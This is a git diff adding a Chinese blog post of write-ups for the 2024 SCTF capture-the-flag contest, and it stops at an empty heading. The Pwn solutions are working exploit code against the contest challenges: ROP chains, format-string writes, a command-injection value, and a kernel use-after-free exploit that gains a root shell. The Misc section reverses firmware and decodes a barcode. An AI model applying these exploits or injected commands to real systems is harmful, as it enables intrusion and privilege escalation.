diff --git a/source/_posts/2024-SCTF.md b/source/_posts/2024-SCTF.md new file mode 100644 index 0000000..afa202d --- /dev/null +++ b/source/_posts/2024-SCTF.md @@ -0,0 +1,2428 @@ +--- +title: 2024 XCTF 联赛 SCTF 题解 +tags: Writeup +categories: Writeup +date: 2024-10-01 12:00:00 +toc: true +--- + +真系搏命!祝各位师傅国庆节快乐~ + + + +# Pwn + +## kno_puts + +非预期,写 /sbin/poweroff 即可 + +--- + +## factory + +```Python +from pwn import * + +context.terminal = ['tmux', 'splitw', '-h'] +tob = lambda x: str(x).encode() +sh = process("./factory") +#context.log_level = 'debug' + +#gdb.attach(sh) +sh = remote('1.95.81.93', 57777) +sh.sendlineafter(b'build: ', b'22') +for i in range(1, 14): + sh.recvuntil('factory{}'.format(i).encode()) + if i == 13: + sh.sendline(b'17') + else: + sh.sendline(tob(0x4141414141414141)) + +rbp = 0x00000000004040B0+0x500 +ret = 0x0000000000401247 +pop_rdi_ret = 0x0000000000401563 + +sh.sendlineafter(b'factory19', tob(rbp)) +sh.sendlineafter(b'factory20', tob(pop_rdi_ret)) +sh.sendlineafter(b'factory21', tob(0x0000000000404018)) +sh.sendlineafter(b'factory22', tob(0x00000000004014AD)) + +sh.recvuntil('are') +sh.recvuntil(b'\n', drop=True) +libcbase = u64(sh.recv(6).ljust(8, b'\x00'))-0x84420 +libc = ELF("./libc.so.6") +log.success('libcbase: ' + hex(libcbase)) +sh.sendline(b'22') + +for i in range(1, 14): + sh.recvuntil('factory{}'.format(i).encode()) + if i == 13: + sh.sendline(b'17') + else: + sh.sendline(tob(0x4141414141414141)) + +rbp = 0x00000000004040B0+0x500 +ret = 0x0000000000401247 +pop_rdi_ret = 0x0000000000401563 + +sh.sendlineafter(b'factory19', tob(rbp)) +sh.sendlineafter(b'factory20', tob(pop_rdi_ret)) +sh.sendlineafter(b'factory21', tob(libcbase+libc.search(b'/bin/sh').__next__())) +sh.sendlineafter(b'factory22', tob(libcbase+0xe3b01)) + +sh.interactive() +``` + +--- + +## GoCompiler + +栈上构造一些栈指针,格式化字符串一把梭! + +```Go +package main + +func wrap(tmp string) string { + return tmp +} + +func aaa() string { + var a []string = []string{"hellohellohellohellohellohello"} + return &a[0] +} + +func bbb() string { + var a []string = []string{"deadbeef"} + var b int = aaa() + a[0] = b + return &a[0] +} + + +func shell() int { + var a int = -0x4eadbeaf + a = -0x4eefdead + a = -0x11223344 + a = -0x44332211 + return a + a = -0x11223344 + return a +} + +func attack() int { + + var a string = "11" + printf("%1$p/bin/sh", a) + + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + printf("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%10$hhn\n", a) + printf("/bin/sh && aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%6$hhn\n", a) + + + return 0; +} + +func up() int { + var a string = "11" + attack() + return 0 +} + +func fff() int { + aaa() + var a []string = []string{"deadbeef"} + var d []string = []string{"deadbeef"} + var b int = bbb() + d[0] = b + a[0] = d + attack() + + return 0 +} + +func main() int { + fff() + return 0 +} +``` + +```Python +from pwn import * + +context.arch = "amd64" +context.log_level = "debug" + +with open("./hello.ugo", "rb") as f: + data = f.read() + +pop_rdi = 0x000000000040212f +pop_rsi = 0x000000000040a19e +pop_rdx_rbx = 0x0000000000485b4b +read_addr = 0x44f360 +syscall_ret = 0x000000000041a886 +pop_rax = 0x000000000044fdc7 +binsh = 0x4c6240 +magic = 0x452535 + +def pwn(): + try: + # io = remote("127.0.0.1", 2102) + io = remote("1.95.58.58", 2102) + + io.sendlineafter(b'input "end" to stop', data) + io.sendline(b"end") + + io.recvuntil(b"/bin/sh && aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") + + res = io.recvuntil(b"===== cleaning", timeout=1) + if res.endswith(b"===== cleaning"): + io.close() + return + pause() + payload = flat({ + 0x68: [ + pop_rax, u64(b"/bin/sh\0"), + pop_rsi, binsh, + magic, + pop_rdi, binsh, + pop_rsi, 0, + pop_rdx_rbx, 0, 0, + pop_rax, 59, + syscall_ret + ] + }) + io.sendline(payload) + + except EOFError: + io.close() + return + + io.interactive() + +for i in range(10): + pwn() +``` + +--- + +## vmCode + +看到VM就是逆逆逆逆逆逆逆逆逆逆逆逆,然后就是调试调调调调调调调调,最后就是ORW + +```Python +from pwn import * + +context.arch = "amd64" +context.os = "linux" +context.log_level = "debug" + +""" +opcode addr +0x0021 0x1274 call +0x0022 0x1299 ret +0x0023 0x12a7 xor +0x0024 0x12c4 swap02 st[0], st[2] = st[2], st[0] +0x0025 0x12e0 swap01 st[0], st[1] = st[1], st[0] +0x0026 0x12fc push imm +0x0027 0x1319 extand byte -> qword +0x0028 0x132e pop (do nothing) +0x0029 0x1332 shr st[0], 8 +0x002a 0x1348 dup st[0] +0x002b 0x135c shl st[0], 8 +0x002c 0x1372 Jmp si+code[rsi:rsi+2] if st[0] != 0 +0x002d 0x13a3 ror st[0], st[1] +0x002e 0x13c0 rol st[0], st[1] +0x002f 0x13dd and st[0], st[1] +0x0030 0x13fa syscall(st[0], st[1], st[2], st[3]) +0x0031 0x1425 push sp +0x0032 0x1439 push ip +0x0033 0x1452 exit +""" + +def call(offset): + return p8(0x21) + p16(offset) + +def ret(): + return p8(0x22) + +def xor(): + return p8(0x23) + +def swap02(): + return p8(0x24) + +def swap01(): + return p8(0x25) + +def push_imm(imm): + return p8(0x26) + p32(imm) + +def extand_byte(): + return p8(0x27) + +def pop(): + return p8(0x28) + +def shr(): + return p8(0x29) + +def dup(): + return p8(0x2a) + +def shl(): + return p8(0x2b) + +def jmp(offset): + return p8(0x2c) + p16(offset) + +def ror(): + return p8(0x2d) + +def rol(): + return p8(0x2e) + +def and_(): + return p8(0x2f) + +def syscall(): + return p8(0x30) + +def push_sp(): + return p8(0x31) + +def push_ip(): + return p8(0x32) + +def exit_(): + return p8(0x33) + +# io = process("./pwn") + +io = remote("1.95.68.23", 58924) +# gdb.attach(io, api=True, +# gdbscript= +# """ +# b *$rebase(0x001417) +# c +# """) + +# gdb.attach(io) + +payload = flat([ + # open("/flag", 0) + push_imm(0x67616c66), # "/flag" + push_sp(), + push_imm(0x0), + swap01(), + push_imm(0x2), + syscall(), + # read(3, buf, 0x100) + push_imm(0x100), + push_sp(), + shr(), + shl(), + + + push_imm(0x3), + push_imm(0x0), + syscall(), + # write(1, buf, 0x100) + push_imm(0x100), + push_sp(), + shr(), + shl(), + + + push_imm(0x1), + push_imm(0x1), + syscall(), +]) +io.sendline(payload) + +io.interactive() +``` + +--- + +## c_or_go + +```Python +from pwn import * +import sys + +sh = process('./c_or_go') +context.terminal = ['tmux', 'splitw', '-h'] +tob = lambda x: str(x).encode() +sh = remote('1.95.70.149', 80) + +#context.log_level = 'debug' +if len(sys.argv) > 1: + context.log_level = 'debug' + +template = '"task_type": {}, "Content": "{}", "Username": "{}", "Size": {}' + +b64 = lambda x: base64.b64encode(x).decode() + +def add_user(data_arr): + payload = '' + for i in range(len(data_arr)): + c = data_arr[i][1] + name = data_arr[i][0] + size = data_arr[i][2] + p = template.format(0, b64(c), b64(name), size) + p = '{' + p + '}' + if i != len(data_arr)-1: + p += ',' + payload += p + payload = '[' + payload + ']' + sh.sendlineafter(b'tasks\n', payload.encode()) + +def show_user(data_arr): + payload = '' + for i in range(len(data_arr)): + c = b'' + name = data_arr[i][0] + size = 0 + p = template.format(1, b64(c), b64(name), size) + p = '{' + p + '}' + print(p) + if i != len(data_arr)-1: + p += ',' + payload += p + payload = '[' + payload + ']' + sh.sendlineafter(b'tasks\n', payload.encode()) + +def delete_user(data_arr): + payload = '' + for i in range(len(data_arr)): + c = b'' + name = data_arr[i][0] + size = 0 + p = template.format(2, b64(c), b64(name), size) + p = '{' + p + '}' + if i != len(data_arr)-1: + p += ',' + payload += p + payload = '[' + payload + ']' + sh.sendlineafter(b'tasks\n', payload.encode()) + +def release_shit(): + sh.sendlineafter(b'tasks\n', b'[') + +for i in range(1, 0xa): + add_user([[b'f'*0xe0+b'fuck_user_'+tob(i), b'w', 100]]) + +release_shit() +log.info("release shit") + +pause() + +show_user([[b'f'*0xe0+b'fuck_user_1']]) +sh.recvuntil(b'user content:\n\n') +heap = u64(sh.recv(8)) & 0xffffff000 + +log.success("heap: "+hex(heap)) + +delete_user([[b'f'*0xe0+b'fuck_user_1']]) + +add_user([[b'shit', p64(0x613b28), 100]]) + +add_user([[b'shit2', b'AAAAAAAA', 100]]) +pause() + +log.info("ready to overwrite user_controller?") +pause() + +add_user([ + [b'a'*0xa0+p64(0x4141414141414141)+p64(0x5e1018)+b'a'*8+p64(1)*2+p64(0x613a30)*10, + p64(0)+p64(0x613a50)+p64(0)+p64(0x5e10a8)+p32(1)+p32(0x50), + 0x60] +]) + +log.info("leak?") +pause() +show_user([[b'\x00\x00\x00\x00']]) + +sh.recvuntil(b'user content:\n\n') +libcbase = u64(sh.recv(8))-0x9bb10 +log.success("libcbase: "+hex(libcbase)) + +key = libcbase+0x84420 +key = hex(key) +key = key.encode() + +payload = template.format(-1, b64(b'; ls -al; cat flag'), b64(key+b'\x00'), 0) +payload = '[{'+payload+'}]' +sh.sendlineafter(b'tasks\n', payload) + +sh.interactive() +``` + +--- + +## kno_puts revenge + +程序没有上锁,用userfaultfd卡在copy from user,然后kfree后就会出现uaf,然后修改tty栈迁移到pt_regs上即可 + +前面的随机数绕过可以赌随机数的第一位为\x00,然后爆破绕过 + +Kernel base地址泄露参考:https://qanux.github.io/2024/04/17/notes/ + +```C +// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +size_t modprobe_path = 0xffffffff824493c0; +size_t heap_addr = 0; +size_t work_for_cpu_fn = 0xffffffff810bd960; +size_t init_creds = 0xffffffff82c6b920; +size_t commit_creds = 0xffffffff810ce710; +size_t fake_ops_addr = 0; +size_t orignal[0x30]; +size_t leak, kernel_base; +size_t gadget = 0xffffffff817d1e76; +size_t pop_rdi; +size_t add_rsp_188_pop_rbx_ret; +size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a74; + +struct node{ + char *msg; + uint64_t a; + uint64_t b; + uint64_t c; + uint64_t d; + uint64_t e; +}; +struct node vuln; + +void err_exit(char *msg){ + printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); + sleep(5); + exit(EXIT_FAILURE); +} + +void info(char *msg){ + printf("\033[34m\033[1m[+] %s\n\033[0m", msg); +} + +void hexx(char *msg, size_t value){ + printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value); +} + +void binary_dump(char *desc, void *addr, int len) { + uint64_t *buf64 = (uint64_t *) addr; + uint8_t *buf8 = (uint8_t *) addr; + if (desc != NULL) { + printf("\033[33m[*] %s:\n\033[0m", desc); + } + for (int i = 0; i < len / 8; i += 4) { + printf(" %04x", i * 8); + for (int j = 0; j < 4; j++) { + i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); + } + printf(" "); + for (int j = 0; j < 32 && j + i * 8 < len; j++) { + printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); + } + puts(""); + } +} + +/* bind the process to specific core */ +void bind_core(int core){ + cpu_set_t cpu_set; + + CPU_ZERO(&cpu_set); + CPU_SET(core, &cpu_set); + sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); + + printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); +} + +size_t user_cs, user_ss, user_rflags, user_sp; +void save_status(){ + asm volatile ( + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_sp, rsp;" + "pushf;" + "pop user_rflags;" + ); + puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); +} + +int fd; +char v14[0x100]; +void add(){ + puts("[*] Begin add."); + vuln.e = (size_t)v14; + for(;;){ + int result = ioctl(fd, 0xFFF0, &vuln); + if(result != -1){ + info("Add success."); + heap_addr = *(size_t*)vuln.e; + hexx("heap_addr", heap_addr); + break; + } + } +} + +void del(){ + puts("[*] Begin delete"); + vuln.e = 0; + for(;;){ + int result = ioctl(fd, 0xFFF1, &vuln); + if(result != -1){ + info("Delete success."); + break; + } + } +} + +sem_t sem_write, sem_free; +size_t payload[0x100]; +int tty_fd; + +size_t uffd_buf[0x200]; +void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler){ + int uffd; + struct uffdio_api uffdio_api; + struct uffdio_register uffdio_register; + + uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC); + if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func"); + + uffdio_api.api = UFFD_API; + uffdio_api.features = 0; + if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR"); + + uffdio_register.range.start = (unsigned long long)uffd_buf; + uffdio_register.range.len = 0x1000; + uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; + if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR"); + + int res = pthread_create(&pthread_moniter, NULL, handler, uffd); + if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func"); +} + +void hijack_handler(void *args){ + int uffd = (int)args; + struct uffd_msg msg; + struct uffdio_copy uffdio_copy; + + for (;;){ + struct pollfd pollfd; + pollfd.fd = uffd; + pollfd.events = POLLIN; + if (poll(&pollfd, 1, -1) == -1) + err_exit("Failed to exec poll for leak_handler"); + + int res = read(uffd, &msg, sizeof(msg)); + if (res == 0) + err_exit("EOF on userfaultfd for leak_handler"); + if (res == -1) + err_exit("ERROR on userfaultfd for leak_handler"); + if (msg.event != UFFD_EVENT_PAGEFAULT) + err_exit("INCORRET EVENT in leak_handler"); + // operation + info("hijack the kernel in userfaultfd -- hijack_handler"); + del(); + + tty_fd = open("/dev/ptmx", O_RDWR); + uffd_buf[0] = 0x100005401; + uffd_buf[1] = 0; + uffd_buf[2] = kernel_base + 0x13e8030 - 0x60; + uffd_buf[3] = fake_ops_addr + 0x40; + uffd_buf[4] = commit_creds; + uffd_buf[5] = init_creds; + uffd_buf[7] = add_rsp_188_pop_rbx_ret; + hexx("uffd_buf[0]", uffd_buf[0]); + hexx("uffd_buf[1]", uffd_buf[1]); + hexx("uffd_buf[2]", uffd_buf[2]); + hexx("uffd_buf[3]", uffd_buf[3]); + hexx("uffd_buf[4]", uffd_buf[4]); + hexx("uffd_buf[5]", uffd_buf[5]); + + uffdio_copy.src = uffd_buf; + uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1); + uffdio_copy.len = 0x1000; + uffdio_copy.mode = 0; + uffdio_copy.copy = 0; + if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) + err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler"); + } +} + +void get_root_shell(void){ + if(getuid()) { + puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); + sleep(5); + exit(EXIT_FAILURE); + } + + puts("\033[32m\033[1m[+] Successful to get the root. \033[0m"); + puts("\033[34m\033[1m[*] Execve root shell now...\033[0m"); + + system("/bin/sh"); + + /* to exit the process normally, instead of segmentation fault */ + exit(EXIT_SUCCESS); +} +size_t get_root_func = (size_t)get_root_shell; + +int main(int argc, char** argv, char** env) +{ + char data[0x200]; + + bind_core(0); + save_status(); + + fd = open("/dev/ksctf",O_RDWR); + if (fd < 0){ + err_exit("open device failed!"); + } + + int note_fd = open("/sys/kernel/notes", O_RDONLY); + read(note_fd, data, 0x100); + binary_dump("/sys/kernel/notes", data, 0x100); + + memcpy(&leak, &data[0x84], 8); + hexx("leak", leak); + kernel_base = leak - 0x19e1180; + hexx("kernel_base", kernel_base); + size_t kernel_offset = kernel_base - 0xffffffff81000000; + hexx("kernel_offset", kernel_offset); + + modprobe_path += kernel_offset; + hexx("modprobe_path", modprobe_path); + + vuln.msg = (char*)malloc(0x30); + memset(vuln.msg, '\x00', 0x30); + + work_for_cpu_fn = kernel_base + 0x8c360; + init_creds = kernel_base + 0x1448cc0; + commit_creds = kernel_base + 0x97d00; + swapgs_restore_regs_and_return_to_usermode += kernel_offset + 35; + hexx("commit_creds", commit_creds); + hexx("work_for_cpu_fn", work_for_cpu_fn); + hexx("swapgs_restore_regs_and_return_to_usermode", swapgs_restore_regs_and_return_to_usermode); + + pop_rdi = kernel_base + 0xe031; + add_rsp_188_pop_rbx_ret = kernel_base + 0x9369cc; + hexx("add_rsp_188_pop_rbx_ret",add_rsp_188_pop_rbx_ret); + + add(); + fake_ops_addr = heap_addr - 0x68; + hexx("fake_ops_addr", fake_ops_addr); + + pthread_t pwn; + char *uffd_buf_hijack = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); + register_userfaultfd(uffd_buf_hijack, &pwn, hijack_handler); + + orignal[0] = 0x100005401; + orignal[1] = 0; + orignal[2] = heap_addr - 0x2a5540; + orignal[3] = kernel_base + 0x1073e00; + orignal[4] = 0; + orignal[5] = 0; + orignal[6] = 0; + + write(fd,uffd_buf_hijack,0x40); + + __asm__( + "mov r15, pop_rdi;" + "mov r14, init_creds;" + "mov r13, commit_creds;" + "mov r12, swapgs_restore_regs_and_return_to_usermode;" + "mov rbp, 0;" + "mov rbx, 0;" + "mov r11, user_cs;" + "mov r10, user_rflags;" + "mov r9, user_sp;" + "mov r8, user_ss;" + "xor rax, 16;" + "mov rcx, 0xaaaaaaaa;" + "mov rdx, 0xfffffe0000010f58;" + "mov rsi, 0xfffffe0000010f58;" + "mov rdi, tty_fd;" + "syscall" + ); + + hexx("UID", getuid()); + system("/bin/sh"); + puts("[+] EXP END."); + return 0; +} +``` + +--- + +# Misc + +## Fixit + +写个html显示一下css的渲染: + +```HTML + + + + + +
+
+
+ + +``` + +把css的宽改成3,渲染出来一个: + +![](../images/2024-SCTF/image1.webp) + +谷歌识图一下,是ATZEC🐎,换几个网站,这个比较好用: + +https://products.fileformat.app/barcode/recognize/aztec#google_vignette + +SCTF{W3lcomeToM1scW0rld} + +--- + +## easyMCU + +纯纯固件逆向题,谁把它丢 Misc 里的,这也能放错方向的。。 + +由开发板照片可知型号是 SAK-TC275TP-64F200W DC,指令集架构是 TriCore。Ghidra 有对应于 TriCore 的反编译器。 + +由截图可知密文是 32 字节 63 D4 DD 72 B0 8C AE 31 8C 33 03 22 03 1C E4 D3 C3 E3 54 B2 1D EB EB 9D 45 B1 BE 86 CD E9 93 D8,~~既然题目丢 Misc 里了,根据~~~~刻板印象~~~~,给个截图有可能是因为右边的参数暗藏玄机,结果没有,出题人还是善良的。~~ + +固件文件是 s19 (SRec) 格式,可以在 GitHub 上找到项目把它转为 ELF,然后丢进 Ghidra。 + +多处按 D 键标记为指令,让 Ghidra 反编译出大部分代码,粗略浏览。在 0x80000690 处的函数有依次处理 32 个字节的逻辑,比较可疑。 + +```C +undefined4 FUN_80000690(void) + +{ + byte bVar1; + undefined uVar2; + int iVar3; + undefined4 uVar4; + + iVar3 = FUN_8001125a(0x6000009c,0x60000004,0x60000000,_DAT_80003990); + if (iVar3 == 0) { + uVar4 = 0xffffffff; + } + else { + FUN_800001f2(0x60000004,0x800039a3,&DAT_6000007c,0x20); + for (iVar3 = 0; iVar3 < 0x20; iVar3 = iVar3 + 1) { + uVar2 = FUN_80000790(CONCAT44(3,(uint)(byte)(&DAT_6000007c)[iVar3])); + (&DAT_6000007c)[iVar3] = uVar2; + bVar1 = DAT_6000007c; + if (iVar3 < 0x1f) { + bVar1 = *(byte *)(iVar3 + 0x6000007d); + } + (&DAT_6000007c)[iVar3] = bVar1 ^ (&DAT_6000007c)[iVar3]; + (&DAT_6000007c)[iVar3] = (&DAT_6000007c)[iVar3] ^ 0xff; + } + FUN_80001278(0x6000009c,&DAT_6000007c,0x60000000,_DAT_80003990); + uVar4 = 0; + } + return uVar4; +} +``` + +其中深入看 FUN_800001f2 发现是 AES,四个参数分别是 + +- 0x60000004 是输入的 flag + +- 0x800039a3 是 16 字节的 key + + - 从 s19 文件中找这个地址得到 2E 35 7D 6A ED 44 F3 4D AD B9 11 34 13 EA 32 4E + +- 0x6000007c 存放输出值 + +- 0x20 是 flag 长度 + +在 AES 加密前没有对 32 字节的 flag 后面再补齐 16 字节。 + +之后对 AES 密文又进行了循环左移 3、前一个异或后一个、异或 0xFF。 + +解密: + +```Python +def encrypt(in_flag): + flag = list(in_flag) + for i in range(32): + flag[i] = ((flag[i] << 3) | (flag[i] >> 5)) & 0xff + flag[i] ^= flag[(i + 1) & 0x1f] + flag[i] ^= 0xff + return bytes(flag) + +def decrypt(in_flag): + flag = list(in_flag) + for i in range(31, -1, -1): + flag[i] ^= 0xff + flag[i] ^= flag[(i + 1) & 0x1f] + flag[i] = ((flag[i] << 5) | (flag[i] >> 3)) & 0xff + return bytes(flag) + +c = bytes.fromhex('63 D4 DD 72 B0 8C AE 31 8C 33 03 22 03 1C E4 D3 C3 E3 54 B2 1D EB EB 9D 45 B1 BE 86 CD E9 93 D8') +print(decrypt(c).hex()) + +# 9018eb7d667c90d560704f86e9b37ee86b672792d92c75bf9f467ca26c519c88 +``` + +![](../images/2024-SCTF/image2.webp) + +--- + +## 速来探索SCTF星球隐藏的秘密! + +![](../images/2024-SCTF/image3.webp) + +尝试到不是Ready的情况,获得前半段 + +Ans: HAHAHAy04 + +![](../images/2024-SCTF/image4.webp) + +![](../images/2024-SCTF/image5.webp) + +--- + +## TerraWorld + 